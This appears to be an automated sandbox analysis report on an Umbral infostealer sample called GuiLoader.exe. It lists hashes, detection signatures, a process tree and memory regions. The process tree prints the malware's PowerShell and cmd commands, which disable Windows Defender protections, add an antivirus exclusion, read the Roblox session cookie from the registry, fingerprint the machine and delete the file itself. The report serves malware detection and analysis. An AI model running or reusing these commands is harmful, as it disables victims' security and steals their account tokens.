Analysis

  • max time kernel
    1696s
  • max time network
    1668s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-04-2024 20:32

General

  • Target

    C11Bootstrapper/Properties/GuiLoader.exe

  • Size

    246KB

  • MD5

    1bb249792e56063762f5adb2d94fc8c9

  • SHA1

    9a1fa4886ed023f864c06345b639a121f6359cd1

  • SHA256

    f61483bd59316dff21d5bc3fc8f32811dd8ddca826a84255ab5ea2cdfef3d7ae

  • SHA512

    d8a2af35713bf4ce979440375c460b9f7b3f2849abc9cdf0d2fdb5e891a5bab36ed101da94f6b57d3dc775c3a0fdeffbaeab8981965ec72fe56adfa5dab501ba

  • SSDEEP

    6144:RloZM+rIkd8g+EtXHkv/iD4kgOZGCg/7I7R0STTKvYb8e1mZzi:joZtL+EP8kgOZGCg/7I7R0STTKIX

Score
10/10

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe
    "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1976
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"
      2⤵
      • Views/modifies file attributes
      PID:4784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3424
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4792
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2820
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:4652
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:2656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4180
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4468
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe" && pause
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3528
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • Runs ping.exe
            PID:3728

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        5ba388a6597d5e09191c2c88d2fdf598

        SHA1

        13516f8ec5a99298f6952438055c39330feae5d8

        SHA256

        e6b6223094e8fc598ad12b3849e49f03a141ccd21e0eaa336f81791ad8443eca

        SHA512

        ead2a2b5a1c2fad70c1cf570b2c9bfcb7364dd9f257a834eb819e55b8fee78e3f191f93044f07d51c259ca77a90ee8530f9204cbae080fba1d5705e1209f5b19

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        2e8eb51096d6f6781456fef7df731d97

        SHA1

        ec2aaf851a618fb43c3d040a13a71997c25bda43

        SHA256

        96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

        SHA512

        0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        83bc7bafe464042aba6a1d1d98a1489f

        SHA1

        8268233d7442b842b858a1ef0831b5998bd3df40

        SHA256

        9c4ea380965b6239151beaa1d605ff20255b3691968352fc8a3b8b7634a41b1d

        SHA512

        a38d64bbe657adaf9991240d46fda9268a3e1a322366847899bb6347de1d3cd66dabead78792f65dad68253147415f2ad44904eab1589368cf8d2140bdd1dfd0

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        f29ff8b1e0f396a194a6782749830b8e

        SHA1

        2f8999b0eb2a20e591cf9a638c9fa84ddf4a1f69

        SHA256

        5bfd4968395fefaac3941c08fa11e86dfde1072137d9290aee3888f2a5d92d3f

        SHA512

        0689d665f2a7c9007c5dc4c14a53d5566d315d05d476bee82d64d02d40e3ffddca2b36419c76a8f7b7979958a62a7a93c939d1ed72fa7a844841ed06741b9e19

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        9402c815c24778d14ceb8f13bff17188

        SHA1

        73fe123e5546ab00211dd0a0eed5a639c9bf60bf

        SHA256

        e6cbc21e42e21db1d8cf2b9333af227772bd94be3611e5e689a578eb4ad19d46

        SHA512

        a5ce6180e902c2f486c2f1c334ed47bf9f77c569a00279447b20fa5fb6b0f0b4d55dbf82e0e81ac1c8e2d2a9dbedb65dbdfbb4006f500373371f14df37d2ac9c

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qxiypjd1.ffi.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2400-21-0x000001E175640000-0x000001E175650000-memory.dmp

        Filesize

        64KB

      • memory/2400-33-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/2400-31-0x000001E175640000-0x000001E175650000-memory.dmp

        Filesize

        64KB

      • memory/2400-19-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/2400-20-0x000001E175640000-0x000001E175650000-memory.dmp

        Filesize

        64KB

      • memory/2676-66-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/2676-56-0x0000016BDF770000-0x0000016BDF780000-memory.dmp

        Filesize

        64KB

      • memory/2676-50-0x0000016BDF770000-0x0000016BDF780000-memory.dmp

        Filesize

        64KB

      • memory/2676-49-0x0000016BDF770000-0x0000016BDF780000-memory.dmp

        Filesize

        64KB

      • memory/2676-40-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/3424-17-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/3424-12-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/3424-14-0x0000025378E90000-0x0000025378EA0000-memory.dmp

        Filesize

        64KB

      • memory/3424-13-0x0000025378E90000-0x0000025378EA0000-memory.dmp

        Filesize

        64KB

      • memory/3424-11-0x0000025378E00000-0x0000025378E22000-memory.dmp

        Filesize

        136KB

      • memory/4180-95-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/4180-96-0x0000020569A20000-0x0000020569A30000-memory.dmp

        Filesize

        64KB

      • memory/4180-98-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/4236-38-0x00000191D4E10000-0x00000191D4E2E000-memory.dmp

        Filesize

        120KB

      • memory/4236-83-0x00000191ED810000-0x00000191ED822000-memory.dmp

        Filesize

        72KB

      • memory/4236-103-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/4236-1-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/4236-0-0x00000191D2FF0000-0x00000191D3034000-memory.dmp

        Filesize

        272KB

      • memory/4236-2-0x00000191ED700000-0x00000191ED710000-memory.dmp

        Filesize

        64KB

      • memory/4236-36-0x00000191ED890000-0x00000191ED906000-memory.dmp

        Filesize

        472KB

      • memory/4236-39-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/4236-82-0x00000191D4E60000-0x00000191D4E6A000-memory.dmp

        Filesize

        40KB

      • memory/4236-37-0x00000191ED6B0000-0x00000191ED700000-memory.dmp

        Filesize

        320KB

      • memory/4792-80-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB

      • memory/4792-78-0x000001BEA7730000-0x000001BEA7740000-memory.dmp

        Filesize

        64KB

      • memory/4792-68-0x000001BEA7730000-0x000001BEA7740000-memory.dmp

        Filesize

        64KB

      • memory/4792-67-0x00007FFB887B0000-0x00007FFB89272000-memory.dmp

        Filesize

        10.8MB